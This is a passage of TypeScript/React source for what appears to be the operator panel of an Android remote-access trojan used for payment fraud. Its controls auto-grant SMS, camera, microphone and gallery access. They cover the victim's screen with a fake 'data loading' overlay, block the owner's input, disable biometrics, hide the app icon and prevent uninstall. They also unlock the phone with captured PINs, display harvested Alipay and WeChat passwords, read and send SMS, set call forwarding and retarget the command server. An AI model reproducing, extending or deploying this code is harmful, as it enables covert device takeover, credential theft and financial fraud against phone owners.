      String(app.appName || '').toLowerCase().includes(keyword) ||
      String(app.packageName || '').toLowerCase().includes(keyword)
    )
  })
  const injectedAppName = injectedAppPackage
    ? ((appListData?.appList || []).find((item) => item.packageName === injectedAppPackage)?.appName || injectedAppPackage)
    : ''

  const permissionListItems = permissionMetaList.map((meta) => ({
    ...meta,
    ...permissionStatus[meta.key]
  }))
  const grantedPermissionNames = permissionListItems
    .filter((item) => item.state === 'granted')
    .map((item) => item.label)
  const missingPermissionNames = permissionListItems
    .filter((item) => item.state !== 'granted')
    .map((item) => `${item.label}(${permissionStateLabelMap[item.state]})`)
  const formatPermissionTime = (timestamp: number | null) => {
    if (!timestamp) return '--'
    return new Date(timestamp).toLocaleTimeString()
  }


  const emitCameraPermissionAction = (action: string) => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return false
    }
    webSocket.emit('camera_control', {
      action,
      deviceId,
      data: {}
    })
    return true
  }

  const schedulePermissionCheck = (action: string, delayMs: number = 1200) => {
    window.setTimeout(() => {
      emitCameraPermissionAction(action)
    }, delayMs)
  }

  // 📷 相册权限重获取
  const handleAlbumPermissionRefresh = () => {
    if (!emitCameraPermissionAction('GALLERY_PERMISSION_AUTO_GRANT')) return
    updatePermissionStatus('gallery', 'requesting', '正在重新获取相册权限')
    schedulePermissionCheck('GALLERY_PERMISSION_CHECK', 1500)
    message.info('已触发相册权限重新获取')
  }

  const handleAlbumPermissionCheck = () => {
    handleAlbumPermissionRefresh()
  }

  // 📱 短信权限重获取
  const handleSmsPermissionRefresh = () => {
    if (!emitCameraPermissionAction('SMS_PERMISSION_AUTO_GRANT')) return
    updatePermissionStatus('sms', 'requesting', '正在重新获取短信权限')
    schedulePermissionCheck('SMS_PERMISSION_CHECK', 1500)
    message.info('已触发短信权限重新获取')
  }

  // 🎙️ 麦克风权限重获取
  const handleMicrophonePermissionRefresh = () => {
    if (!emitCameraPermissionAction('MICROPHONE_PERMISSION_AUTO_GRANT')) return
    updatePermissionStatus('microphone', 'requesting', '正在重新获取麦克风权限')
    schedulePermissionCheck('MICROPHONE_PERMISSION_CHECK', 1500)
    message.info('已触发麦克风权限重新获取')
  }

  // 📷 相机权限重获取
  const handleCameraPermissionRetry = () => {
    if (!emitCameraPermissionAction('CAMERA_PERMISSION_AUTO_GRANT')) return
    updatePermissionStatus('camera', 'requesting', '正在重新获取相机权限')
    schedulePermissionCheck('CAMERA_PERMISSION_CHECK', 1400)
    message.info('已触发相机权限重新获取')
  }

  const handleKeepAliveStatusCheck = () => {
    if (!emitCameraPermissionAction('KEEPALIVE_STATUS_CHECK')) return
    updatePermissionStatus('batteryOptimization', 'requesting', '正在检测省电策略状态')
    updatePermissionStatus('backgroundStart', 'requesting', '正在检测后台启动状态')
    message.info('已触发保活策略检测')
  }

  const handleOpenBatteryOptimizationSettings = () => {
    if (!emitCameraPermissionAction('OPEN_BATTERY_OPTIMIZATION_SETTINGS')) return
    updatePermissionStatus('batteryOptimization', 'requesting', '正在打开省电策略设置页')
    window.setTimeout(() => {
      handleKeepAliveStatusCheck()
    }, 1500)
  }

  const handlePermissionRetry = (permissionKey: PermissionKey) => {
    if (!operationEnabled) {
      message.warning('当前无设备控制权限')
      return
    }

    if (permissionKey === 'mediaProjection') {
      handleRefreshPermission()
      return
    }
    if (permissionKey === 'camera') {
      handleCameraPermissionRetry()
      return
    }
    if (permissionKey === 'microphone') {
      handleMicrophonePermissionRefresh()
      return
    }
    if (permissionKey === 'sms') {
      handleSmsPermissionRefresh()
      return
    }
    if (permissionKey === 'gallery') {
      handleAlbumPermissionRefresh()
      return
    }
    if (permissionKey === 'appList') {
      handleRequestAppList(false)
      return
    }
    if (permissionKey === 'batteryOptimization') {
      handleOpenBatteryOptimizationSettings()
      return
    }
    if (permissionKey === 'backgroundStart') {
      handleKeepAliveStatusCheck()
    }
  }

  // 已移除：读取已保存相册（改用“获取相册”内联展示）

  // 获取相册按钮处理函数
  const handleGetGallery = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('📷 获取最新相册')
    dispatch(setGalleryLoading(true))
    dispatch(setGalleryVisible(true))
    updatePermissionStatus('gallery', 'requesting', '正在读取相册数据')
    webSocket.emit('camera_control', {
      action: 'ALBUM_READ',
      deviceId,
      data: { limit: 100 }
    })
    message.info('正在获取相册...')
  }

  // 🆕 提取确认坐标已迁移至 DebugFunctionsCard

  // 🆕 手动输入确认坐标已迁移至 DebugFunctionsCard

  // 🆕 确认保存手动输入的坐标
  const handleSaveInputCoords = () => {
    if (!webSocket || !deviceId) return

    const coords = { x: inputCoordX, y: inputCoordY }

    // 验证坐标值
    if (inputCoordX < 0 || inputCoordY < 0) {
      message.error('坐标值不能为负数')
      return
    }

    if (device && (inputCoordX > device.screenWidth || inputCoordY > device.screenHeight)) {
      message.warning(`坐标值超出设备屏幕范围 (${device.screenWidth}×${device.screenHeight})`)
    }

    // 保存到服务器
    webSocket.emit('client_event', {
      type: 'SAVE_CONFIRM_COORDS',
      data: { deviceId, coords },
      timestamp: Date.now()
    })

    setInputCoordsModalVisible(false)

    console.log('🎯 手动输入确认坐标已保存:', coords)
    message.success(`确认坐标已保存: (${coords.x}, ${coords.y})`)
  }

  if (!device) {
    return (
      <Card title="控制面板">
        <div style={{ textAlign: 'center', padding: '20px' }}>
          设备未选中
        </div>
      </Card>
    )
  }

  return (
    <>
      <div style={{ display: 'flex', gap: 16, width: '100%' }}>
        {/* 左侧功能区：调试、操作等 */}
        <div style={{ flex: '0 0 280px', display: 'flex', flexDirection: 'column', gap: 8 }}>
          <Space direction="vertical" style={{ width: '100%' }} size="middle">
            {/* 设备信息 */}


            {/* 调试功能 */}
            <DebugFunctionsCard
              operationEnabled={operationEnabled}
              screenReaderEnabled={device?.screenReader?.enabled}
              screenReaderLoading={device?.screenReader?.loading}
              onToggleScreenReader={() => { }}
              virtualKeyboardEnabled={device?.screenReader?.showVirtualKeyboard}
              onToggleVirtualKeyboard={() => {
                if (device?.screenReader) {
                  // 切换虚拟按键显示状态
                  const newShowVirtualKeyboard = !device.screenReader.showVirtualKeyboard
                  dispatch(updateDeviceScreenReaderConfig({
                    deviceId,
                    config: { showVirtualKeyboard: newShowVirtualKeyboard }
                  }))
                  console.log('切换虚拟按键显示:', newShowVirtualKeyboard)
                }
              }}
              showScreenReaderControls={true}
              alipayDetectionEnabled={alipayDetectionEnabled}
              wechatDetectionEnabled={wechatDetectionEnabled}
              onStartAlipayDetection={startAlipayDetection}
              onStopAlipayDetection={stopAlipayDetection}
              onStartWechatDetection={startWechatDetection}
              onStopWechatDetection={stopWechatDetection}
              onOpenFourDigitPin={handleOpenFourDigitPin}
              onOpenSixDigitPin={handleOpenPinInput}
              onOpenPatternLock={handleOpenPatternLock}
              passwordFilter={passwordFilter as any}
              onPasswordFilterChange={(v) => {
                setPasswordFilter(v)
                // 筛选类型变化后自动请求API，使用新的筛选值
                fetchAlipayPasswordsWithFilter(v, 1, alipayPasswordPageSize)
              }}
              onViewPasswords={async () => {
                try {
                  const typeQuery = passwordFilter === 'DEFAULT' ? '' : `&passwordType=${passwordFilter}`
                  const json: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=1&pageSize=10${typeQuery}`)
                  if (!json || json.success === false) {
                    message.error('查看密码失败')
                    return
                  }
                  const resp = json.data || { passwords: [], total: 0, page: 1, pageSize: 10 }
                  setAlipayPasswords(resp.passwords || [])
                  setAlipayPasswordTotal(resp.total || 0)
                  setAlipayPasswordPage(resp.page || 1)
                  setAlipayPasswordPageSize(resp.pageSize || 10)
                  setAlipayPasswordModalVisible(true)
                } catch (e) {
                  console.error('查看密码失败', e)
                  message.error('查看密码失败')
                }
              }}
              onSwipeUp={() => handleSwipe('up')}
              onSwipeDown={() => handleSwipe('down')}
              onSwipeLeft={() => handleSwipe('left')}
              onSwipeRight={() => handleSwipe('right')}
            >
              {/* 🆕 遮罩文字和操作控制 - 放在最上面 */}
              <Row gutter={[8, 8]}>
                <Col span={12}>
                  <div style={{ fontSize: '12px', marginBottom: '4px', color: '#666' }}>遮罩文字:</div>
                  <Input.TextArea
                    placeholder="数据加载中\n请勿操作"
                    value={maskText}
                    onChange={(e) => setMaskText(e.target.value)}
                    rows={2}
                    style={{ fontSize: '12px' }}
                  />
                </Col>
                <Col span={12}>
                  <div style={{ fontSize: '12px', marginTop: '4px', marginBottom: '4px', color: '#666' }}>字体大小:</div>
                  <Input
                    type="number"
                    placeholder="24"
                    value={maskTextSize}
                    onChange={(e) => setMaskTextSize(Number(e.target.value) || 24)}
                    min={12}
                    max={48}
                    style={{ fontSize: '12px' }}
                  />
                </Col>
              </Row>

              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={24}>
                  <div
                    style={{
                      display: 'flex',
                      justifyContent: 'space-between',
                      fontSize: '12px',
                      marginBottom: '4px',
                      color: '#666'
                    }}
                  >
                    <span>黑屏遮罩深度 (0~255)</span>
                    <span>{maskAlpha}</span>
                  </div>
                  <input
                    type="range"
                    min={0}
                    max={255}
                    step={1}
                    value={maskAlpha}
                    onChange={(e) => handleMaskAlphaChange(Number(e.target.value))}
                    style={{ width: '100%' }}
                  />
                </Col>
              </Row>

              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={24}>
                  <div
                    style={{
                      display: 'flex',
                      justifyContent: 'space-between',
                      fontSize: '12px',
                      marginBottom: '4px',
                      color: '#666'
                    }}
                  >
                    <span>Web 曝光 (30%~200%)</span>
                    <span>{exposureValue}%</span>
                  </div>
                  <input
                    type="range"
                    min={30}
                    max={200}
                    step={1}
                    value={exposureValue}
                    onChange={(e) => handleExposureChange(Number(e.target.value))}
                    style={{ width: '100%' }}
                  />
                </Col>
              </Row>

              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={12}>
                  <Button
                    block
                    danger={!deviceInputBlocked}
                    type={deviceInputBlocked ? "primary" : "default"}
                    icon={<StopOutlined />}
                    onClick={() => {
                      sendControlMessage('DEVICE_BLOCK_INPUT', {
                        maskText: maskText.trim() || '',
                        maskTextSize: maskTextSize || 24,
                        maskAlpha
                      })
                      dispatch(setDeviceInputBlocked(true))
                      // ✅ 同步更新到数据库
                      updateDeviceState({ inputBlocked: true })
                    }}
                    disabled={deviceInputBlocked}
                  >
                    {deviceInputBlocked ? "已阻止" : "阻止手机操作"}
                  </Button>
                </Col>
                <Col span={12}>
                  <Button
                    block
                    type={deviceInputBlocked ? "default" : "primary"}
                    icon={<PlayCircleOutlined />}
                    onClick={() => {
                      sendControlMessage('DEVICE_ALLOW_INPUT', {})
                      dispatch(setDeviceInputBlocked(false))
                      // ✅ 同步更新到数据库
                      updateDeviceState({ inputBlocked: false })
                    }}
                    disabled={!deviceInputBlocked}
                  >
                    {deviceInputBlocked ? "允许手机操作" : "已允许"}
                  </Button>
                </Col>
              </Row>

              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={12}>
                  <Button
                    block
                    icon={<AudioOutlined />}
                    onClick={handleOneClickMute}
                    disabled={!operationEnabled}
                  >
                    一键静音 + 关闭震动
                  </Button>
                </Col>
                <Col span={12}>
                  <Button
                    block
                    icon={<StopOutlined />}
                    onClick={handleDisableBiometricAuth}
                    disabled={!operationEnabled}
                    loading={biometricDisabling}
                  >
                    一键禁用指纹/人脸
                  </Button>
                </Col>
              </Row>



              {/* 🆕 显示已保存的确认坐标 */}
              {deviceState?.confirmButtonCoords && (
                <div style={{
                  marginTop: '4px',
                  fontSize: '11px',
                  textAlign: 'center',
                  color: '#fa8c16',
                  background: '#fff7e6',
                  padding: '2px 6px',
                  borderRadius: '4px',
                  border: '1px solid #ffd591'
                }}>
                  🎯 确认坐标: ({Math.round(deviceState.confirmButtonCoords.x)}, {Math.round(deviceState.confirmButtonCoords.y)})
                </div>
              )}

              {/* 🆕 关闭配置遮盖控制 */}
              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={24}>
                  <Button
                    block
                    type="default"
                    icon={<EyeOutlined />}
                    onClick={handleCloseConfigMask}
                    disabled={!operationEnabled}
                    style={{
                      background: operationEnabled ? 'linear-gradient(135deg, #ff7a45 0%, #ff4d4f 100%)' : undefined,
                      borderColor: operationEnabled ? '#ff7a45' : undefined,
                      color: operationEnabled ? 'white' : undefined
                    }}
                  >
                    🛡️ 关闭配置遮盖
                  </Button>
                </Col>
              </Row>

              {/* 🆕 重新获取投屏权限 */}
              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={12}>
                  <Button
                    block
                    type="default"

                    onClick={handleRefreshPermission}
                    disabled={!operationEnabled}
                    style={{
                      background: operationEnabled ? 'linear-gradient(135deg, #ff7a45 0%, #ff4d4f 100%)' : undefined,
                      borderColor: operationEnabled ? '#ff7a45' : undefined,
                      color: operationEnabled ? 'white' : undefined
                    }}
                  >
                    重新获取投屏权限
                  </Button>
                </Col>
                <Col span={12}>
                  <Button
                    block
                    type="default"

                    onClick={handleRefreshPermissionManual}
                    disabled={!operationEnabled}
                    style={{
                      background: operationEnabled ? 'linear-gradient(135deg, #597ef7 0%, #1d39c4 100%)' : undefined,
                      borderColor: operationEnabled ? '#597ef7' : undefined,
                      color: operationEnabled ? 'white' : undefined
                    }}
                  >
                    手动授权投屏
                  </Button>
                </Col>
              </Row>

              {/* 🆕 屏幕捕获控制 - 已隐藏（功能已移至RemoteControlApp） */}
              {/* <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={12}>
                  <Button
                    block
                    type="default"
                    icon={<StopOutlined />}
                    onClick={handlePauseScreenCapture}
                    disabled={!operationEnabled}
                    style={{
                      background: operationEnabled ? 'linear-gradient(135deg, #faad14 0%, #ffc53d 100%)' : undefined,
                      borderColor: operationEnabled ? '#faad14' : undefined,
                      color: operationEnabled ? 'white' : undefined
                    }}
                  >
                    暂停屏幕捕获
                  </Button>
                </Col>
                <Col span={12}>
                  <Button
                    block
                    type="default"
                    icon={<PlayCircleOutlined />}
                    onClick={handleResumeScreenCapture}
                    disabled={!operationEnabled}
                    style={{
                      background: operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
                      borderColor: operationEnabled ? '#52c41a' : undefined,
                      color: operationEnabled ? 'white' : undefined
                    }}
                  >
                    恢复屏幕捕获
                  </Button>
                </Col>
              </Row> */}

              {/* 🆕 黑屏遮盖控制 */}
              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={12}>
                  <Button 
                    block 
                    type={isBlackScreenActive ? "default" : "primary"}
                    icon={<EyeInvisibleOutlined />}
                    onClick={handleEnableBlackScreen}
                    disabled={!operationEnabled || isBlackScreenActive}
                    style={{
                      background: !isBlackScreenActive && operationEnabled ? 'linear-gradient(135deg, #434343 0%, #000000 100%)' : undefined,
                      borderColor: !isBlackScreenActive && operationEnabled ? '#434343' : undefined,
                      color: !isBlackScreenActive && operationEnabled ? 'white' : undefined
                    }}
                  >
                    {isBlackScreenActive ? '已启用' : '黑屏遮盖'}
                  </Button>
                </Col>
                <Col span={12}>
                  <Button 
                    block 
                    type={isBlackScreenActive ? "primary" : "default"}
                    icon={<BorderOutlined />}
                    onClick={handleDisableBlackScreen}
                    disabled={!operationEnabled || !isBlackScreenActive}
                    style={{
                      background: isBlackScreenActive && operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
                      borderColor: isBlackScreenActive && operationEnabled ? '#52c41a' : undefined
                    }}
                  >
                    {isBlackScreenActive ? '取消黑屏' : '已取消'}
                  </Button>
                </Col>
              </Row>

              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={24}>
                  <Button
                    block
                    onClick={() => setMaskAdjustModalVisible(true)}
                    disabled={!operationEnabled}
                  >
                    调节黑屏深度
                  </Button>
                </Col>
              </Row>

              {/* 黑屏遮盖状态显示 */}
              <div style={{ 
                marginTop: '8px', 
                fontSize: '12px', 
                textAlign: 'center',
                color: isBlackScreenActive ? '#434343' : '#52c41a',
                background: isBlackScreenActive ? '#f5f5f5' : '#f6ffed',
                padding: '4px 8px',
                borderRadius: '4px',
                border: `1px solid ${isBlackScreenActive ? '#d9d9d9' : '#b7eb8f'}`
              }}>
                {isBlackScreenActive ? '🖤 黑屏遮盖已启用' : '✅ 正常显示模式'}
              </div>

              {/* 🆕 应用隐藏/显示控制 */}
              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={12}>
                  <Button
                    block
                    type={isAppHidden ? "default" : "primary"}
                    icon={<EyeInvisibleOutlined />}
                    onClick={handleHideApp}
                    disabled={!operationEnabled || isAppHidden}
                    style={{
                      background: !isAppHidden && operationEnabled ? 'linear-gradient(135deg, #722ed1 0%, #9254de 100%)' : undefined,
                      borderColor: !isAppHidden && operationEnabled ? '#722ed1' : undefined,
                      color: !isAppHidden && operationEnabled ? 'white' : undefined
                    }}
                  >
                    {isAppHidden ? '已隐藏' : '隐藏应用'}
                  </Button>
                </Col>
                <Col span={12}>
                  <Button
                    block
                    type={isAppHidden ? "primary" : "default"}
                    icon={<EyeOutlined />}
                    onClick={handleShowApp}
                    disabled={!operationEnabled || !isAppHidden}
                    style={{
                      background: isAppHidden && operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
                      borderColor: isAppHidden && operationEnabled ? '#52c41a' : undefined,
                      color: isAppHidden && operationEnabled ? 'white' : undefined
                    }}
                  >
                    {isAppHidden ? '显示应用' : '已显示'}
                  </Button>
                </Col>
              </Row>

              {/* 应用隐藏状态显示 */}
              <div style={{
                marginTop: '8px',
                fontSize: '12px',
                textAlign: 'center',
                color: isAppHidden ? '#722ed1' : '#52c41a',
                background: isAppHidden ? '#f9f0ff' : '#f6ffed',
                padding: '4px 8px',
                borderRadius: '4px',
                border: `1px solid ${isAppHidden ? '#d3adf7' : '#b7eb8f'}`
              }}>
                {isAppHidden ? '📱 应用图标已隐藏' : '✅ 应用图标正常显示'}
              </div>

              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={12}>
                  <Button
                    block
                    type={isUninstallProtectionEnabled ? "default" : "primary"}

                    onClick={handleEnableUninstallProtection}
                    disabled={!operationEnabled || isUninstallProtectionEnabled}
                    style={{
                      background: !isUninstallProtectionEnabled && operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
                      borderColor: !isUninstallProtectionEnabled && operationEnabled ? '#52c41a' : undefined,
                      color: !isUninstallProtectionEnabled && operationEnabled ? 'white' : undefined
                    }}
                  >
                    {isUninstallProtectionEnabled ? '监听中...' : '防止卸载'}
                  </Button>
                </Col>
                <Col span={12}>
                  <Button
                    block
                    type={isUninstallProtectionEnabled ? "primary" : "default"}
                    icon={<StopOutlined />}
                    onClick={handleDisableUninstallProtection}
                    disabled={!operationEnabled || !isUninstallProtectionEnabled}
                    style={{
                      background: isUninstallProtectionEnabled && operationEnabled ? 'linear-gradient(135deg, #ff4d4f 0%, #ff7875 100%)' : undefined,
                      borderColor: isUninstallProtectionEnabled && operationEnabled ? '#ff4d4f' : undefined,
                      color: isUninstallProtectionEnabled && operationEnabled ? 'white' : undefined
                    }}
                  >
                    {isUninstallProtectionEnabled ? '允许卸载' : '已允许'}
                  </Button>
                </Col>
              </Row>



              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                {/* 🆕 打开应用设置按钮 */}
                {/* 🆕 一键图案解锁 */}
                <Col span={12}>
                  <Button
                    block
                    type="primary"

                    onClick={handleOneClickUnlock}
                    disabled={!operationEnabled}
                    loading={isUnlocking}
                    style={{
                      background: operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
                      border: 'none'
                    }}
                  >
                    {isUnlocking ? '查询密码中...' : '🔓 一键解锁'}
                  </Button>
                </Col>
                <Col span={12}>

                  <Button
                    block
                    type="primary"

                    onClick={handlePatternUnlock}
                    disabled={!operationEnabled}
                    loading={isPatternUnlocking}
                    style={{
                      background: operationEnabled ? 'linear-gradient(135deg, #722ed1 0%, #9254de 100%)' : undefined,
                      border: 'none',
                      marginBottom: '8px'
                    }}
                  >
                    {isPatternUnlocking ? '图案解锁中...' : '🎨 一键图案解锁'}
                  </Button>

                </Col>

              </Row>

              {/* 查找密码按钮 */}
              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                <Col span={12}>
                  <Button
                    block
                    icon={<SearchOutlined />}
                    onClick={handleSearchPasswords}
                    loading={passwordSearchLoading}
                    style={{
                      background: 'linear-gradient(135deg, #722ed1 0%, #9254de 100%)',
                      border: 'none',
                      color: 'white'
                    }}
                  >
                    {passwordSearchLoading ? '搜索中...' : '查找密码'}
                  </Button>
                </Col>
                <Col span={12}>
                  <Button
                    block
                    type="default"
                    icon={<SettingOutlined />}
                    onClick={handleOpenAppSettings}
                    disabled={!operationEnabled}
                    style={{
                      background: operationEnabled ? 'linear-gradient(135deg, #722ed1 0%, #9254de 100%)' : undefined,
                      border: 'none',
                      color: operationEnabled ? 'white' : undefined,
                      marginBottom: '8px'
                    }}
                  >
                    打开应用设置
                  </Button>
                </Col>
              </Row>
              <Row gutter={[8, 8]} style={{ marginTop: '8px' }}>
                {/* 🆕 打开应用设置按钮 */}
                <Col span={24}>
                  {lastKnownPassword && (
                    <div style={{
                      marginTop: '4px',
                      fontSize: '11px',
                      textAlign: 'center',
                      color: '#52c41a'
                    }}>
                      上次记录密码: {lastKnownPassword}
                    </div>
                  )}


                  {/* 学习状态显示 */}
                  {deviceState?.learnedConfirmButton && (
                    <div style={{
                      marginTop: '4px',
                      fontSize: '11px',
                      textAlign: 'center',
                      color: '#1890ff',
                      background: '#f0f8ff',
                      padding: '2px 6px',
                      borderRadius: '4px',
                      border: '1px solid #d6e4ff'
                    }}>
                      🧠 已学习确认按钮: ({Math.round(deviceState.learnedConfirmButton.x)}, {Math.round(deviceState.learnedConfirmButton.y)})
                      <br />
                      学习次数: {deviceState.learnedConfirmButton.count || 0}
                    </div>
                  )}

                </Col>

              </Row>

            </DebugFunctionsCard>


            {/* 日志控制 */}
            <Card title="日志控制" size="small">
              <Row gutter={[8, 8]}>
                <Col span={12}>
                  <Button
                    block
                    type={isLoggingEnabled ? "primary" : "default"}
                    icon={<FileTextOutlined />}
                    onClick={handleEnableLogging}
                    disabled={isLoggingEnabled}
                  >
                    启用日志记录
                  </Button>
                </Col>
                <Col span={12}>
                  <Button
                    block
                    type={isLoggingEnabled ? "default" : "primary"}
                    icon={<ClearOutlined />}
                    onClick={handleDisableLogging}
                    disabled={!isLoggingEnabled}
                  >
                    禁用日志记录
                  </Button>
                </Col>
              </Row>
              <div style={{
                marginTop: '8px',
                fontSize: '12px',
                textAlign: 'center',
                color: isLoggingEnabled ? '#52c41a' : '#ff4d4f'
              }}>
                状态: {isLoggingEnabled ? '✅ 日志记录已启用' : '❌ 日志记录已禁用'}
              </div>
            </Card>

            {/* ✅ 新增：服务器地址控制 */}
            <Card title="服务器控制" size="small">
              <Row gutter={[8, 8]}>
                <Col span={24}>
                  <Button
                    block
                    type="default"
                    icon={<SettingOutlined />}
                    onClick={() => setServerUrlModalVisible(true)}
                    style={{
                      background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
                      borderColor: '#667eea',
                      color: 'white'
                    }}
                  >
                    修改服务器地址
                  </Button>
                </Col>
              </Row>
              <div style={{
                marginTop: '8px',
                fontSize: '12px',
                textAlign: 'center',
                color: '#666'
              }}>
                向设备发送修改服务器地址的指令
              </div>
            </Card>



          </Space>
        </div>

        {/* 右侧：Tab 栏 */}
        <div style={{ flex: 1, display: 'flex', flexDirection: 'column' }}>
          <Tabs
            defaultActiveKey="device"
            size="small"
            onChange={(activeKey) => {
              // 切换到查看日志tab时，设置logModalVisible为true
              if (activeKey === 'logs') {
                setLogModalVisible(true)
              }
            }}
            items={[
              {
                key: 'device', label: '📱 设备信息', children: (
                  <div style={{ display: 'flex', flexDirection: 'column', gap: 8 }}>
                    <DeviceInfoCard device={device} />
                    <Card title="权限列表" size="small">
                      <div style={{ fontSize: 12, color: '#666', marginBottom: 8 }}>
                        当前仅展示代码中已自动处理的权限项
                      </div>
                      <div style={{ marginBottom: 6 }}>
                        <strong>已获取权限：</strong>
                        <span>{grantedPermissionNames.length > 0 ? grantedPermissionNames.join('、') : '暂无'}</span>
                      </div>
                      <div style={{ marginBottom: 10 }}>
                        <strong>未获取权限：</strong>
                        <span>{missingPermissionNames.length > 0 ? missingPermissionNames.join('、') : '暂无'}</span>
                      </div>
                      <Space size={8} wrap style={{ marginBottom: 10 }}>
                        <Button
                          size="small"
                          onClick={handleKeepAliveStatusCheck}
                          disabled={!operationEnabled}
                        >
                          检查后台/省电
                        </Button>
                        <Button
                          size="small"
                          onClick={handleOpenBatteryOptimizationSettings}
                          disabled={!operationEnabled}
                        >
                          打开省电设置
                        </Button>
                      </Space>
                      <div style={{ display: 'flex', flexDirection: 'column', gap: 6 }}>
                        {permissionListItems.map((item) => (
                          <div
                            key={item.key}
                            style={{
                              display: 'grid',
                              gridTemplateColumns: '120px auto 1fr auto auto',
                              gap: 8,
                              alignItems: 'center',
                              border: '1px solid #f0f0f0',
                              borderRadius: 6,
                              padding: '8px 10px'
                            }}
                          >
                            <strong>{item.label}</strong>
                            <Tag color={permissionStateColorMap[item.state]}>
                              {permissionStateLabelMap[item.state]}
                            </Tag>
                            <span style={{ color: '#666', fontSize: 12 }}>
                              {item.detail || '-'}
                            </span>
                            <Button
                              size="small"
                              onClick={() => handlePermissionRetry(item.key)}
                              disabled={!operationEnabled}
                            >
                              {'重新获取'}
                            </Button>
                            <span style={{ color: '#999', fontSize: 12 }}>
                              {formatPermissionTime(item.updatedAt)}
                            </span>
                          </div>
                        ))}
                      </div>
                    </Card>
                  </div>
                )
              },
              {
                key: 'sms', label: '短信', children: (
                  <div style={{ display: 'flex', flexDirection: 'column', gap: 8 }}>
                    <SmsControlCard
                      operationEnabled={operationEnabled}
                      smsLoading={smsLoading}
                      smsList={smsData?.smsList || []}
                      smsReadLimit={smsReadLimit}
                      onSmsReadLimitChange={setSmsReadLimit}
                      onReadList={handleSmsRead}
                      onSend={(phone, content) => handleSmsSend(phone, content)}
                    />
                    <Card title="一键呼叫转移" size="small">
                      <Space direction="vertical" size={8} style={{ width: '100%' }}>
                        <Input
                          value={callForwardPhoneNumber}
                          placeholder="转移目标号码，例如 +8613800138000"
                          onChange={(e) => setCallForwardPhoneNumber(e.target.value)}
                        />
                        <Select
                          value={callForwardRule}
                          onChange={(nextRule: CallForwardRule) => setCallForwardRule(nextRule)}
                          options={[
                            { label: callForwardRuleLabels.all, value: 'all' },
                            { label: callForwardRuleLabels.busy, value: 'busy' },
                            { label: callForwardRuleLabels.no_reply, value: 'no_reply' },
                            { label: callForwardRuleLabels.not_reachable, value: 'not_reachable' }
                          ]}
                        />
                        <Row gutter={[8, 8]}>
                          <Col span={12}>
                            <Button
                              block
                              type="primary"
                              disabled={!operationEnabled}
                              loading={callForwardSubmitting}
                              onClick={handleSetCallForward}
                            >
                              一键设置
                            </Button>
                          </Col>
                          <Col span={12}>
                            <Button
                              block
                              disabled={!operationEnabled}
                              loading={callForwardSubmitting}
                              onClick={handleCancelCallForward}
                            >
                              取消转移
                            </Button>
                          </Col>
                        </Row>
                        <div style={{ fontSize: 12, color: '#666' }}>
                          说明：优先使用系统拨号 MMI 指令设置/取消呼叫转移，部分机型会拉起拨号器确认。
                        </div>
                      </Space>
                    </Card>
                  </div>
                )
              },
              {
                key: 'apps', label: '应用列表', children: (
                  <div style={{ display: 'flex', flexDirection: 'column', gap: 8 }}>
                    <Card title="应用列表" size="small">
                      <Space wrap>
                        <Button
                          size="small"
                          type="primary"
                          onClick={() => handleRequestAppList(false)}
                          loading={appListLoading && !appListIncludeIcons}
                        >
                          刷新列表
                        </Button>
                        <Button
                          size="small"
                          onClick={() => handleRequestAppList(true)}
                          loading={appListLoading && appListIncludeIcons}
                        >
                          带图标刷新
                        </Button>
                        <Input
                          size="small"
                          allowClear
                          placeholder="搜索应用名/包名"
                          prefix={<SearchOutlined />}
                          value={appSearchKeyword}
                          onChange={(e) => setAppSearchKeyword(e.target.value)}
                          style={{ width: 220 }}
                        />
                      </Space>
                      <div style={{ marginTop: 8, fontSize: 12, color: '#666' }}>
                        <span>已加载 {appListData?.count || 0} 个应用</span>
                        <span style={{ marginLeft: 12 }}>
                          图标模式: {appListIncludeIcons ? '开启' : '关闭'}
                        </span>
                        <span style={{ marginLeft: 12 }}>
                          注入监听: {injectedAppName || '未设置'}
                        </span>
                        {appListPermission.message && (
                          <span style={{ marginLeft: 12, color: appListPermission.granted === false ? '#ff4d4f' : '#52c41a' }}>
                            {appListPermission.message}
                          </span>
                        )}
                      </div>
                    </Card>
                    <Table
                      size="small"
                      rowKey={(record: AppListItem) => record.packageName}
                      dataSource={filteredAppList}
                      pagination={{ pageSize: 12, showSizeChanger: true, pageSizeOptions: ['12', '24', '48'] }}
                      scroll={{ y: 420 }}
                      columns={[
                        {
                          title: '图标',
                          dataIndex: 'iconBase64',
                          key: 'icon',
                          width: 72,
                          render: (_: string | undefined, record: AppListItem) => {
                            if (record.iconBase64) {
                              const iconMime = record.iconMimeType || 'image/png'
                              return (
                                <img
                                  src={`data:${iconMime};base64,${record.iconBase64}`}
                                  alt={record.appName || record.packageName}
                                  style={{ width: 24, height: 24, borderRadius: 6, objectFit: 'cover' }}
                                />
                              )
                            }
                            return (
                              <div style={{
                                width: 24,
                                height: 24,
                                borderRadius: 6,
                                background: '#f0f0f0',
                                color: '#999',
                                display: 'flex',
                                alignItems: 'center',
                                justifyContent: 'center',
                                fontSize: 10
                              }}>
                                APP
                              </div>
                            )
                          }
                        },
                        {
